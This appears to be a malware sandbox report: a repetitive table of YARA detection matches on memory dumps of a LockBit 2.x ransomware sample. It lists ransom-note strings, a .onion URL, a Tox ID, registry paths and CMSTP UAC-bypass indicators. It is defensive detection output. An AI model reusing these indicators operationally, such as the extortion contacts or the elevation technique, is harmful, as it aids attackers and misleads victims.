18.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
18.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
10.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.2.Pna3t7DeL3.exe.400000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
0.2.Pna3t7DeL3.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
0.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.Pna3t7DeL3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.2.Pna3t7DeL3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
0.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
0.2.Pna3t7DeL3.exe.400000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
18.2.Pna3t7DeL3.exe.4840e67.1.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
18.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
26.2.Pna3t7DeL3.exe.48c0e67.1.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
26.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
34.2.Pna3t7DeL3.exe.400000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x26f0:$s_ransom_note01: that is located in every encrypted folder. 0x2748:$s_ransom_note02: Would you like to earn millions of dollars? 0x2d0c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x2eb0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x1c90:$x_str2: \LockBit_Ransomware.hta 0x1ca2:$s_str2: Ransomware.hta
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0514:$s1: PLLH\x02\x17\x17
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x24c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2480:$s2: Elevation:Administrator!new:
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x1c90:$a1: \LockBit_Ransomware.hta 0x2158:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x21d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2248:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x1b98:$a3: %s\%02X%02X%02X%02X.lock
10.3.Pna3t7DeL3.exe.49c0000.0.unpack	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x50de8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc9528:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xc97f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
